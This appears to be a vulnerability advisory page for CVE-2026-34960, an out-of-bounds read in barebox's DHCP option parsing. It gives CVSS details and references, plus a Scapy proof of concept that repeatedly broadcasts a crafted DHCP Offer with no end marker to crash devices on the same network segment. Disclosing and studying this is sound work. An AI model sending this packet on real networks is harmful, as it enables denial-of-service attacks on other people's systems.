CVE-2026-34960

Description

barebox prior to version 2026.04.0 contains an out-of-bounds read vulnerability in DHCP option parsing within the dhcp_message_type() function that fails to verify the options pointer remains within received packet bounds. An attacker on the same broadcast domain can send a crafted DHCP Offer or ACK packet without a proper 0xff end marker to cause the parser to read past valid packet data and potentially crash the system.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

barebox < 2026.04.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import scapy.all as scapy

# Construct a crafted DHCP Offer packet without the 0xff end marker
# This is a simplified PoC structure; real implementation requires a valid DHCP transaction context

def send_malicious_dhcp(target_mac, interface):
    # Ethernet frame
    eth = scapy.Ether(dst="ff:ff:ff:ff:ff:ff", src=scapy.get_if_hwaddr(interface))
    
    # IP layer
    ip = scapy.IP(src="192.168.1.1", dst="255.255.255.255")
    
    # UDP layer (BootP server port 67)
    udp = scapy.UDP(sport=67, dport=68)
    
    # BOOTP layer
    bootp = scapy.BOOTP(op=2, # BOOTREPLY
                       xid=0x12345678,
                       yiaddr="192.168.1.100",
                       siaddr="192.168.1.1",
                       chaddr=target_mac)
    
    # DHCP Options: Message Type (Offer), but omitting the 0xff End marker
    # Normally options end with 0xff. Removing it triggers the OOB read.
    options = [
        ("message-type", "offer"),
        ("server-id", "192.168.1.1"),
        ("subnet-mask", "255.255.255.0"),
        ("lease-time", 86400)
        # Note: 'end' option (0xff) is intentionally omitted here
    ]
    
    dhcp = scapy.DHCP(options=options)
    
    packet = eth / ip / udp / bootp / dhcp
    
    print(f"[*] Sending malicious DHCP packet to {target_mac}...")
    scapy.sendp(packet, iface=interface, loop=1, verbose=0)

# Usage: send_malicious_dhcp("00:11:22:33:44:55", "eth0")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34960
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34960
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34960/
[4] VulDB https://vuldb.com/cve/CVE-2026-34960
[5] https://github.com/barebox/barebox
[6] https://github.com/barebox/barebox/releases/tag/v2026.04.0
[7] https://www.vulncheck.com/advisories/barebox-out-of-bounds-read-in-dhcp-option-parsing

Raw JSON Data

JSON

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